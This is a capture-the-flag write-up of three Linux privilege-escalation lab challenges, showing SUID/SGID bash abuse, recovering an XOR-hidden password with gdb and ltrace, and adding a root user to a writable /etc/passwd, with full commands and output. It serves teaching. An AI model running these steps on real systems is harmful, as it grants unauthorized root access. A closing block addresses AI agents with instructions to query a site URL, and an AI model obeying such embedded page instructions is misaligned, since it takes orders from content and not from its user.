# RTV'23 PrivEsc Challenge 1-3

## CHAL#1 (SUID)

Connecting to the instance then securing a stable shell:

```shell-session
$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv1

$ bash

jebidiah@ip-172-31-47-51:~$ id

  uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)
```

First, looking at the contents of the `/home` directory, there is an interesting file inside `/home/anthony`:

```shell-session
jebidiah@ip-172-31-47-51:~$ tree /home

  /home
  ├── admin
  ├── anthony
  │   └── bash
  └── jebidiah

  4 directories, 1 file
```

Looking at the file, it is discovered to be an executable with the SUID bit set to the user, `root`; however, it can only be run by members of the group, `anthony` (which is also another user):

```shell-session
jebidiah@ip-172-31-47-51:~$ file /home/anthony/bash

  /home/anthony/bash: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b6b11360e339f231f17484da2c87d0d78554e31, for GNU/Linux 3.2.0, stripped

jebidiah@ip-172-31-47-51:~$ ls -lh /home/anthony/bash

  -rwsr-xr-- 1 root anthony 1.3M Sep 27 19:28 /home/anthony/bash
```

What should now be done is finding a way to change the current running context to `anthony`:

```shell-session
jebidiah@ip-172-31-47-51:~$ cat /etc/passwd | grep anthony

  anthony:x:1002:1002::/home/anthony:/bin/sh
  
jebidiah@ip-172-31-47-51:~$ find / -perm -4000 -type f -uid 1002 -exec ls -lh {} \; 2>/dev/null

jebidiah@ip-172-31-47-51:~$ find / -perm -2000 -type f -uid 1002 -exec ls -lh {} \; 2>/dev/null

  -r-xr-sr-x 1 anthony anthony 1.3M Sep 27 18:05 /bash
  
jebidiah@ip-172-31-47-51:~$ file /bash

  /bash: setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b6b11360e339f231f17484da2c87d0d78554e31, for GNU/Linux 3.2.0, stripped
```

There is another `bash` executable in the `/` directory but this time an SUID bit was set to the group, `anthony`, which is what is currently needed:

```shell-session
jebidiah@ip-172-31-47-51:~$ /bash -p

bash-5.2$ id

  uid=1001(jebidiah) gid=1001(jebidiah) egid=1002(anthony) groups=1002(anthony),1001(jebidiah)
```

Now, the effective gid of the current running context is for `anthony` meaning that the initially found `bash` file should now be executable and finally gain root privileges:

```shell-session
bash-5.2$ /home/anthony/bash -p

bash-5.2# id
  
  uid=1001(jebidiah) gid=1001(jebidiah) euid=0(root) egid=1002(anthony) groups=1002(anthony),1001(jebidiah)

bash-5.2# cat /root/root.txt

  RTV{SU1Ds_4_dA_w1n}
```

## CHAL#2 (strcmp)

Connecting to the instance then securing a stable shell:

```shell-session
$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv2

$ bash

jebidiah@ip-172-31-47-51:~$ id

  uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)
```

Looking at the home directory of the current user, there is an executable named, `root`:

```shell-session
jebidiah@ip-172-31-42-199:~$ ls -lh

  total 16K
  -r-xr-xr-x 1 root root 16K Sep 27 20:59 root
  
jebidiah@ip-172-31-42-199:~$ file root

  root: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=080345de05c564b447ff4e3e7feec9c9febd9cf0, for GNU/Linux 3.2.0, not stripped
```

Attempting to run it yields the following results:

```shell-session
jebidiah@ip-172-31-42-199:~$ ./root

  Try running:

	./root <password>

jebidiah@ip-172-31-42-199:~$ ./root rootpass

  Whoops!! Try again... D:
```

It seems to be used for validating the root password and looking at its structure based on `gdb`, there is a `strcmp()` function probably used for verification and it seems that the plaintext password has been XORed which means that simply using `strings` will not give any results:

```shell-session
jebidiah@ip-172-31-42-199:~$ gdb ./root

(gdb) info functions

  All defined functions:

  Non-debugging symbols:
  0x0000000000001000  _init
  0x0000000000001030  puts@plt
  0x0000000000001040  strcmp@plt
  0x0000000000001050  malloc@plt
  0x0000000000001060  __cxa_finalize@plt
  0x0000000000001070  _start
  0x00000000000010a0  deregister_tm_clones
  0x00000000000010d0  register_tm_clones
  0x0000000000001110  __do_global_dtors_aux
  0x0000000000001150  frame_dummy
  0x0000000000001159  main
  0x0000000000001207  xor_pass
  0x0000000000001270  _fini
```

Debugging the executable then stopping at `strcmp()`, a password seems to have been recovered:

```bash
(gdb) run test

  Whoops!! Try again... D:

(gdb) disassemble main

  ..omitted..
  0x0000555555555191 <+56>:	call   0x555555555207 <xor_pass>
  ..omitted..
  0x00005555555551af <+86>:	call   0x555555555040 <strcmp@plt>
  ..omitted..
  
(gdb) break * 0x00005555555551af

  Breakpoint 1 at 0x5555555551af
  
(gdb) run test

  Breakpoint 1, 0x00005555555551af in main ()
  
(gdb) x/xs $rdi

  0x7fffffffe745:	"test"

(gdb) x/xs $rsi

  0x5555555592a0:	"NotAPassword123"
```

Now, using the discovered password to change the current user to `root`:

```shell-session
jebidiah@ip-172-31-42-199:~$ su root
Password: NotAPassword123

root@ip-172-31-42-199:/home/jebidiah# cat /root/root.txt

  RTV{d0wnf411_vi4_strcmp!!}
```

The same result could be obtained via `ltrace`:

```shell-session
jebidiah@ip-172-31-42-199:~$ ltrace ./root test

  malloc(16)                                                              = 0x5597742f52a0
  strcmp("test", "NotAPassword123")                                       = 38
  puts("Whoops!! Try again... D:"Whoops!! Try again... D:
  )                                        = 25
  +++ exited (status 0) +++
  
jebidiah@ip-172-31-42-199:~$ su root
Password: NotAPassword123

root@ip-172-31-42-199:/home/jebidiah# cat /root/root.txt

  RTV{d0wnf411_vi4_strcmp!!}
```

Just something to share, this was the code used for the challenge:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define PASS_LENGTH 15

char* xor_pass(unsigned char* enc_pass);

int main(int argc, char* argv[]) {
	if(argc == 2) {
		unsigned char enc_pass[PASS_LENGTH + 1] = {0x27,0x06,0x1d,0x28,0x39,0x08,0x1a,0x1a,0x1e,0x06,0x1b,0x0d,0x58,0x5b,0x5a};
		char* pass = xor_pass(enc_pass);

		if(!strcmp(argv[1], pass)) {
			printf("Congratulations!! You got it... :D\n");
		} else {
			printf("Whoops!! Try again... D:\n");
		}
	} else if (argc == 1) {
		printf("Try running:\n\n\t./root <password>\n\n");
	} else {
		printf("You can only give one guess!! :<\n");
	}

	return 0;
}

char* xor_pass(unsigned char* enc_pass) {
	int i;
	char* pass = malloc(sizeof(char) * (PASS_LENGTH + 1));

	for(i=0; i<PASS_LENGTH; i++) {
		pass[i] = enc_pass[i] ^ 0x69;
	} pass[i] = '\0';

	return pass;
}
```

## CHAL#3 (passwd)

Connecting to the instance then securing a stable shell:

```shell-session
$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv3

$ bash

jebidiah@ip-172-31-47-51:~$ id

  uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)
```

Looking at the current user's home directory, there is a `passwd` binary but there is nothing much that can be done about it as there are no escalation methods that can be achieved but this might be a clue to what can be done next:

```shell-session
jebidiah@ip-172-31-41-120:~$ ls -lh 

  total 68K
  -r-sr-sr-x 1 root shadow 67K Sep 28 05:35 passwd

jebidiah@ip-172-31-41-120:~$ find / -name passwd -exec md5sum {} \; 2>/dev/null | grep -E 'jeb|bin'

  77d8b4bf54dba9d77333be091c519435  /usr/bin/passwd
  77d8b4bf54dba9d77333be091c519435  /home/jebidiah/passwd
```

Maybe it's the `passwd` file? Maybe it's the `shadow` file? Looking at it:

```shell-session
jebidiah@ip-172-31-41-120:~$ ls -lh /etc | grep -E 'passwd|shadow'

  -rw-r-----  1 root shadow  621 Sep 28 11:32 gshadow
  -rw-r-----  1 root shadow  613 Sep 28 05:36 gshadow-
  -rw-rw-rw-  1 root root   1.5K Sep 29 07:57 passwd
  -rw-r-----  1 root shadow  902 Sep 28 05:36 shadow
```

The `passwd` file is writable meaning a new user can be created that can be fully controlled; moreover, it could have root privileges. But first, it is important to note that the file follows a certain format per user:

```
<username>:<password>:<uid>:<gid>:<comment>:<home directory>:<startup shell>

# Setting <password> to 'x' means the password will be stored in the shadow file.
# Otherwise, it will check the field itself.
# And, leaving it blank will ensure an empty password.

# A UID and/or GID of '0' is reserved for root but can be impersonated.
```

Now, to create a new user with a blank password:

```shell-session
jebidiah@ip-172-31-41-120:~$ echo 'bakanaman::0:0:ggwp:/:/bin/bash' >> /etc/passwd

jebidiah@ip-172-31-41-120:~$ cat /etc/passwd | grep -E 'bin/.*sh$'

  root:x:0:0:root:/root:/bin/bash
  admin:x:1000:1000:Debian:/home/admin:/bin/bash
  jebidiah:x:1002:1002::/home/jebidiah:/bin/sh
  bakanaman::0:0:ggwp:/:/bin/bash
  
jebidiah@ip-172-31-41-120:~$ su bakanaman

root@ip-172-31-41-120:/home/jebidiah# id

  uid=0(root) gid=0(root) groups=0(root)

root@ip-172-31-41-120:/home/jebidiah# cat /root/root.txt

  RTV{4lw4y5_ch3ck_f1l3_p3rm1ss10n5}
```

If you want to add a password, you can do so by doing the following:

```shell-session
jebidiah@ip-172-31-41-120:~$ openssl passwd rootpass

  $1$LFB.0uB4$ba5fVHKigN27R6fod01.g1
  
jebidiah@ip-172-31-41-120:~$ echo 'something:$1$LFB.0uB4$ba5fVHKigN27R6fod01.g1:0:0:ggwp:/:/bin/bash' >> /etc/passwd

jebidiah@ip-172-31-41-120:~$ su something
Password: rootpass

root@ip-172-31-41-120:/home/jebidiah# id

  uid=0(root) gid=0(root) groups=0(root)

root@ip-172-31-41-120:/home/jebidiah# cat /root/root.txt

  RTV{4lw4y5_ch3ck_f1l3_p3rm1ss10n5}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://seymour.hackstreetboys.ph/capture-the-flag/rootcon/rtv23-privesc-challenge-1-3.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
